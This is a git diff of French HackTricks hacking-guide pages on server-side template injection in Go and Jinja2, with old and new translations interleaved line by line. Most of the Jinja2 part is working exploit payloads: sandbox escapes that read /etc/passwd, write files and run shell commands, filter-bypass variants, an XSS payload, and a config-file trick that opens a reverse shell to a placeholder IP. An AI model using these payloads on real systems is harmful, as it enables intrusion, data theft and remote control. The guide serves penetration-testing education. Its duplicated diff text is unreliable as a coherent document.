Si le serveur **utilise le package text/template**, l'exploitation XSS est très facile à réaliser en **fournissant simplement** votre **charge utile** en entrée. Cependant, ce **n'est pas le cas avec html/template** car il encode en HTML la réponse : `{{"<script>alert(1)</script>"}}` --> `<script>alert(1)</script>`
|
||||
|
||||
Cependant, Go permet de **DÉFINIR** un **template** complet et de l'appeler plus tard. La charge utile ressemblera à ceci :\
|
||||
Cependant, Go permet de **DÉFINIR** un **template** entier puis de **l'appeler plus tard**. La charge utile ressemblera à quelque chose comme :\
|
||||
`{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`
|
||||
|
||||
**Exploitation de RCE**
|
||||
**Exploitation RCE**
|
||||
|
||||
La documentation des modules html/template peut être trouvée [ici](https://golang.org/pkg/html/template/), et la documentation du module text/template peut être trouvée [ici](https://golang.org/pkg/text/template/), et oui, elles diffèrent beaucoup. Par exemple, dans **text/template**, vous pouvez **appeler directement n'importe quelle fonction publique avec la valeur "call"**, ce qui n'est pas le cas avec html/template.
|
||||
La documentation pour le module html/template peut être trouvée [ici](https://golang.org/pkg/html/template/), et la documentation pour le module text/template peut être trouvée [ici](https://golang.org/pkg/text/template/), et oui, elles varient beaucoup. Par exemple, dans **text/template**, vous pouvez **appeler directement toute fonction publique avec la valeur “call”**, ce qui n'est pas le cas avec html/template.
|
||||
|
||||
Si vous souhaitez trouver une RCE en utilisant SSTI en Go, sachez que vous pouvez accéder à l'objet donné au template avec `{{ . }}`, vous pouvez également **appeler les méthodes de l'objet**. Donc, imaginez que l'objet transmis ait une méthode appelée System qui exécute la commande donnée, vous pourriez l'exploiter avec : `{{ .System "ls" }}`\
|
||||
Par conséquent, vous aurez probablement **besoin du code source**. Un code source potentiel pour quelque chose comme ça ressemblera à :
|
||||
Si vous voulez trouver un RCE en Go via SSTI, vous devez savoir que comme vous pouvez accéder à l'objet donné au template avec `{{ . }}`, vous pouvez également **appeler les méthodes de l'objet**. Ainsi, imaginez que l'**objet passé a une méthode appelée System** qui exécute la commande donnée, vous pourriez en abuser avec : `{{ .System "ls" }}`\
|
||||
Par conséquent, vous aurez probablement **besoin du code source**. Un code source potentiel pour quelque chose comme cela ressemblerait à :
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
|
@ -1135,9 +920,9 @@ return string(out)
|
|||
|
||||
### Plus d'exploits
|
||||
|
||||
Consultez le reste de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) pour plus d'exploits. Vous pouvez également trouver des informations intéressantes sur les balises dans [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
Consultez le reste de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) pour plus d'exploits. Vous pouvez également trouver des informations intéressantes sur les tags dans [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
|
||||
## BlackHat PDF
|
||||
## PDF BlackHat
|
||||
|
||||
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
|
||||
|
||||
|
@ -1150,13 +935,17 @@ Si vous pensez que cela pourrait être utile, lisez :
|
|||
|
||||
## Outils
|
||||
|
||||
{% embed url="https://github.com/Hackmanit/TInjA" %}
|
||||
|
||||
{% embed url="https://github.com/epinna/tplmap" %}
|
||||
|
||||
## Liste de détection de force brute
|
||||
{% embed url="https://github.com/Hackmanit/template-injection-table" %}
|
||||
|
||||
## Liste de détection de brute-force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
## Pratique et références
|
||||
## Pratique & Références
|
||||
|
||||
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
|
||||
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
|
@ -1164,18 +953,20 @@ Si vous pensez que cela pourrait être utile, lisez :
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus important en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
||||
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir la connaissance technique**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,48 +1,20 @@
|
|||
## **Laboratoire**
|
||||
# Jinja2 SSTI
|
||||
|
||||
### **Installation**
|
||||
<details>
|
||||
|
||||
Pour ce laboratoire, nous aurons besoin de l'image Docker suivante:
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
```bash
|
||||
docker pull carlospolop/jinja2-ssti
|
||||
```
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
Et nous pouvons l'exécuter avec:
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
```bash
|
||||
docker run --rm -it -p 5000:5000 carlospolop/jinja2-ssti
|
||||
```
|
||||
</details>
|
||||
|
||||
### **Exploitation**
|
||||
|
||||
#### **Introduction**
|
||||
|
||||
Jinja2 est un moteur de template pour Python. Il est utilisé pour générer des pages HTML, des courriels et d'autres types de documents. Les SSTI (Server-Side Template Injection) sont des vulnérabilités qui permettent à un attaquant d'injecter du code dans un template, qui sera ensuite exécuté par le serveur. Cela peut entraîner des fuites d'informations sensibles, des attaques de type XSS (Cross-Site Scripting) et même une exécution de code à distance.
|
||||
|
||||
#### **Exploitation**
|
||||
|
||||
Dans ce laboratoire, nous avons un formulaire de recherche qui utilise Jinja2 pour afficher les résultats. Nous pouvons utiliser cette fonctionnalité pour injecter du code malveillant.
|
||||
|
||||
Tout d'abord, nous pouvons vérifier si le serveur est vulnérable en envoyant une requête GET avec le paramètre `{{7*7}}`:
|
||||
|
||||
```bash
|
||||
curl http://localhost:5000/search\?query\=\{\{7\*7\}\}
|
||||
```
|
||||
|
||||
Si le serveur est vulnérable, nous devrions voir `49` dans la réponse.
|
||||
|
||||
Maintenant, nous pouvons essayer d'injecter du code malveillant. Par exemple, nous pouvons essayer d'afficher le contenu du fichier `/etc/passwd` en utilisant la commande `cat`:
|
||||
|
||||
```bash
|
||||
curl http://localhost:5000/search\?query\=\{\{config.items\(\)\[0\]\[1\].__class__.__mro__[1].__subclasses__\(\)\[283\].__init__.__globals__\['\_\_builtins\_\_'\]\['open'\]('/etc/passwd').read()\}\}
|
||||
```
|
||||
|
||||
Nous devrions voir le contenu du fichier `/etc/passwd` dans la réponse.
|
||||
|
||||
#### **Contre-mesures**
|
||||
|
||||
Pour éviter les SSTI, il est recommandé d'utiliser des templates qui ne permettent pas l'exécution de code arbitraire. Par exemple, Flask recommande d'utiliser le module `Markup` pour échapper les caractères spéciaux dans les templates. De plus, il est important de valider les entrées utilisateur et de limiter les permissions du serveur.
|
||||
## **Lab**
|
||||
```python
|
||||
from flask import Flask, request, render_template_string
|
||||
|
||||
|
@ -50,19 +22,19 @@ app = Flask(__name__)
|
|||
|
||||
@app.route("/")
|
||||
def home():
|
||||
if request.args.get('c'):
|
||||
return render_template_string(request.args.get('c'))
|
||||
else:
|
||||
return "Hello, send someting inside the param 'c'!"
|
||||
if request.args.get('c'):
|
||||
return render_template_string(request.args.get('c'))
|
||||
else:
|
||||
return "Hello, send someting inside the param 'c'!"
|
||||
|
||||
if __name__ == "__main__":
|
||||
app.run()
|
||||
app.run()
|
||||
```
|
||||
## **Divers**
|
||||
|
||||
### **Déclaration de débogage**
|
||||
### **Instruction de débogage**
|
||||
|
||||
Si l'extension de débogage est activée, une balise `debug` sera disponible pour afficher le contexte actuel ainsi que les filtres et tests disponibles. Cela est utile pour voir ce qui est disponible à utiliser dans le modèle sans configurer un débogueur.
|
||||
Si l'extension Debug est activée, une balise `debug` sera disponible pour vider le contexte actuel ainsi que les filtres et tests disponibles. Cela est utile pour voir ce qui est disponible à utiliser dans le modèle sans configurer un débogueur.
|
||||
```python
|
||||
<pre>
|
||||
|
||||
|
@ -76,17 +48,15 @@ Si l'extension de débogage est activée, une balise `debug` sera disponible pou
|
|||
|
||||
</pre>
|
||||
```
|
||||
### **Afficher toutes les variables de configuration**
|
||||
|
||||
Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
|
||||
### **Vider toutes les variables de configuration**
|
||||
```python
|
||||
{{ config }} #In these object you can find all the configured env variables
|
||||
|
||||
|
||||
{% raw %}
|
||||
{% for key, value in config.items() %}
|
||||
<dt>{{ key|e }}</dt>
|
||||
<dd>{{ value|e }}</dd>
|
||||
<dt>{{ key|e }}</dt>
|
||||
<dd>{{ value|e }}</dd>
|
||||
{% endfor %}
|
||||
{% endraw %}
|
||||
|
||||
|
@ -96,12 +66,12 @@ Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement]
|
|||
```
|
||||
## **Injection Jinja**
|
||||
|
||||
Tout d'abord, dans une injection Jinja, vous devez **trouver un moyen de sortir du bac à sable** et récupérer l'accès au flux d'exécution Python régulier. Pour ce faire, vous devez **abuser des objets** qui proviennent de l'environnement **non-sandboxé mais qui sont accessibles depuis le bac à sable**.
|
||||
Tout d'abord, dans une injection Jinja, vous devez **trouver un moyen de sortir du sandbox** et de récupérer l'accès au flux d'exécution python régulier. Pour ce faire, vous devez **abuser des objets** qui sont **issus de** l'environnement **non-sandboxé mais qui sont accessibles depuis le sandbox**.
|
||||
|
||||
### Accès aux objets globaux
|
||||
### Accéder aux Objets Globaux
|
||||
|
||||
Par exemple, dans le code `render_template("hello.html", username=username, email=email)`, les objets username et email **proviennent de l'environnement Python non sandboxé** et seront **accessibles** à l'intérieur de l'environnement **sandboxé**.\
|
||||
\*\*\*\*De plus, il existe d'autres objets qui seront **toujours accessibles depuis l'environnement sandboxé**, ce sont:
|
||||
Par exemple, dans le code `render_template("hello.html", username=username, email=email)` les objets username et email **proviennent de l'environnement python non-sandboxé** et seront **accessibles** à l'intérieur de l'**environnement sandboxé.**\
|
||||
\*\*\*\*De plus, il y a d'autres objets qui seront **toujours accessibles depuis l'environnement sandboxé**, ce sont :
|
||||
```
|
||||
[]
|
||||
''
|
||||
|
@ -112,11 +82,11 @@ request
|
|||
```
|
||||
### Récupération de \<class 'object'>
|
||||
|
||||
Ensuite, à partir de ces objets, nous devons accéder à la classe: **`<class 'object'>`** afin d'essayer de **récupérer** les **classes** définies. C'est parce que de cet objet, nous pouvons appeler la méthode **`__subclasses__`** et **accéder à toutes les classes de l'environnement python non sandboxé**.
|
||||
Ensuite, à partir de ces objets, nous devons atteindre la classe : **`<class 'object'>`** afin d'essayer de **récupérer** les **classes** définies. Cela est dû au fait qu'à partir de cet objet, nous pouvons appeler la méthode **`__subclasses__`** et **accéder à toutes les classes de l'environnement python non-sandboxé**.
|
||||
|
||||
Pour accéder à cette **classe d'objet**, vous devez accéder à un objet de classe, puis accéder à **`__base__`**, **`__mro__()[-1]`** ou `.`**`mro()[-1]`**. Et puis, **après** avoir atteint cette **classe d'objet**, nous **appelons** **`__subclasses__()`**.
|
||||
Pour accéder à cette **classe objet**, vous devez **accéder à un objet classe** puis accéder soit à **`__base__`**, **`__mro__()`**`[-1]` ou `.`**`mro()[-1]`**. Ensuite, **après** avoir atteint cette **classe objet**, nous **appelons** **`__subclasses__()`**.
|
||||
|
||||
Vérifiez ces exemples:
|
||||
Vérifiez ces exemples :
|
||||
```python
|
||||
# To access a class object
|
||||
[].__class__
|
||||
|
@ -126,7 +96,7 @@ request["__class__"]
|
|||
config.__class__
|
||||
dict #It's already a class
|
||||
|
||||
# From a class to access the class "object".
|
||||
# From a class to access the class "object".
|
||||
## "dict" used as example from the previous list:
|
||||
dict.__base__
|
||||
dict["__base__"]
|
||||
|
@ -160,21 +130,19 @@ dict.__mro__[-1]
|
|||
{{ [].class.base.subclasses() }}
|
||||
{{ ''.class.mro()[1].subclasses() }}
|
||||
```
|
||||
### Échappement RCE
|
||||
### Évasion de l'exécution de code à distance (RCE)
|
||||
|
||||
Ayant récupéré `<class 'object'>` et appelé `__subclasses__`, nous pouvons maintenant utiliser ces classes pour lire et écrire des fichiers et exécuter du code.
|
||||
**Ayant récupéré** `<class 'object'>` et appelé `__subclasses__` nous pouvons maintenant utiliser ces classes pour lire et écrire des fichiers et exécuter du code.
|
||||
|
||||
L'appel à `__subclasses__` nous a donné l'opportunité d'accéder à des centaines de nouvelles fonctions, nous serons heureux simplement en accédant à la **classe de fichier** pour **lire/écrire des fichiers** ou à toute classe ayant accès à une classe qui **permet d'exécuter des commandes** (comme `os`).
|
||||
L'appel à `__subclasses__` nous a donné l'opportunité d'**accéder à des centaines de nouvelles fonctions**, nous serons satisfaits juste en accédant à la **classe de fichier** pour **lire/écrire des fichiers** ou toute classe avec accès à une classe qui **permet d'exécuter des commandes** (comme `os`).
|
||||
|
||||
**Lire/écrire un fichier distant**
|
||||
**Lire/Écrire un fichier distant**
|
||||
```python
|
||||
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
|
||||
```
|
||||
**RCE (Remote Code Execution)**
|
||||
|
||||
L'exécution de code à distance (RCE) est une vulnérabilité qui permet à un attaquant d'exécuter du code à distance sur un serveur vulnérable. Cela peut être extrêmement dangereux car cela permet à l'attaquant de prendre le contrôle total du serveur et d'accéder à toutes les données et fonctionnalités qu'il contient. Les attaquants peuvent exploiter cette vulnérabilité en injectant du code malveillant dans une application ou en exploitant une vulnérabilité dans une application existante pour exécuter du code à distance. Les conséquences d'une RCE réussie peuvent être catastrophiques, allant de la perte de données à la prise de contrôle complète du système.
|
||||
**Exécution de code à distance (RCE)**
|
||||
```python
|
||||
# The class 396 is the class <class 'subprocess.Popen'>
|
||||
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
||||
|
@ -191,18 +159,18 @@ L'exécution de code à distance (RCE) est une vulnérabilité qui permet à un
|
|||
|
||||
|
||||
```
|
||||
Pour en savoir plus sur **d'autres classes** que vous pouvez utiliser pour **échapper**, vous pouvez **vérifier**:
|
||||
Pour en savoir plus sur **d'autres classes** que vous pouvez utiliser pour **échapper**, vous pouvez **consulter** :
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Contournement de filtres
|
||||
### Contournements de filtres
|
||||
|
||||
#### Contournements courants
|
||||
#### Contournements communs
|
||||
|
||||
Ces contournements nous permettront d'**accéder** aux **attributs** des objets **sans utiliser certains caractères**.\
|
||||
Nous avons déjà vu certains de ces contournements dans les exemples précédents, mais résumons-les ici:
|
||||
Nous avons déjà vu certains de ces contournements dans les exemples précédents, mais résumons-les ici :
|
||||
```bash
|
||||
# Without quotes, _, [, ]
|
||||
## Basic ones
|
||||
|
@ -232,31 +200,31 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
|
||||
|
||||
```
|
||||
* [**Revenez ici pour plus d'options pour accéder à un objet global**](jinja2-ssti.md#accessing-global-objects)
|
||||
* [**Revenez ici pour plus d'options pour accéder à la classe d'objet**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||||
* [**Lisez ceci pour obtenir RCE sans la classe d'objet**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
||||
* [**Revenez ici pour plus d'options d'accès à un objet global**](jinja2-ssti.md#accessing-global-objects)
|
||||
* [**Revenez ici pour plus d'options d'accès à la classe d'objet**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||||
* [**Lisez ceci pour obtenir un RCE sans la classe d'objet**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
||||
|
||||
**Éviter l'encodage HTML**
|
||||
|
||||
Par défaut, Flask encode en HTML tout ce qui se trouve dans un modèle pour des raisons de sécurité :
|
||||
Par défaut, Flask encode en HTML tout l'intérieur d'un template pour des raisons de sécurité :
|
||||
```python
|
||||
{{'<script>alert(1);</script>'}}
|
||||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
Le filtre `safe` nous permet d'injecter du JavaScript et du HTML dans la page **sans** qu'il soit **encodé en HTML**, comme ceci:
|
||||
**Le filtre `safe`** nous permet d'injecter du JavaScript et du HTML dans la page **sans** que cela soit **encodé en HTML**, comme ceci :
|
||||
```python
|
||||
{{'<script>alert(1);</script>'|safe}}
|
||||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
**RCE en écrivant un fichier de configuration malveillant.**
|
||||
**Exécution de code à distance par écriture d'un fichier de configuration malveillant.**
|
||||
```python
|
||||
# evil config
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
||||
|
||||
# load the evil config
|
||||
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
|
||||
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
|
||||
|
||||
# connect to evil host
|
||||
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
|
||||
|
@ -274,10 +242,10 @@ Sans **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|||
```
|
||||
## Injection Jinja sans **\<class 'object'>**
|
||||
|
||||
À partir des [**objets globaux**](jinja2-ssti.md#accessing-global-objects), il existe une autre façon d'obtenir une **RCE sans utiliser cette classe.**\
|
||||
Si vous parvenez à accéder à n'importe quelle **fonction** de ces objets globaux, vous pourrez accéder à **`__globals__.__builtins__`** et à partir de là, la **RCE** est très **simple**.
|
||||
À partir des [**objets globaux**](jinja2-ssti.md#accessing-global-objects), il existe une autre manière d'obtenir un **RCE sans utiliser cette classe.**\
|
||||
Si vous parvenez à accéder à n'importe quelle **fonction** de ces objets globaux, vous pourrez accéder à **`__globals__.__builtins__`** et à partir de là, le **RCE** est très **simple**.
|
||||
|
||||
Vous pouvez **trouver des fonctions** à partir des objets **`request`**, **`config`** et tout autre **objet global** intéressant auquel vous avez accès avec:
|
||||
Vous pouvez **trouver des fonctions** à partir des objets **`request`**, **`config`** et tout **autre objet global** intéressant auquel vous avez accès avec :
|
||||
```bash
|
||||
{{ request.__class__.__dict__ }}
|
||||
- application
|
||||
|
@ -297,7 +265,7 @@ Vous pouvez **trouver des fonctions** à partir des objets **`request`**, **`con
|
|||
|
||||
# You can iterate through children objects to find more
|
||||
```
|
||||
Une fois que vous avez trouvé certaines fonctions, vous pouvez récupérer les fonctions intégrées avec:
|
||||
Une fois que vous avez trouvé certaines fonctions, vous pouvez récupérer les builtins avec :
|
||||
```python
|
||||
# Read file
|
||||
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
||||
|
@ -321,18 +289,20 @@ Une fois que vous avez trouvé certaines fonctions, vous pouvez récupérer les
|
|||
## Références
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
* Vérifiez [la technique d'attribut pour contourner les caractères interdits ici](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
* Vérifiez [l'astuce attr pour contourner les caractères sur liste noire ici](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
||||
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,54 +1,56 @@
|
|||
## Normalisation Unicode
|
||||
# Normalisation Unicode
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
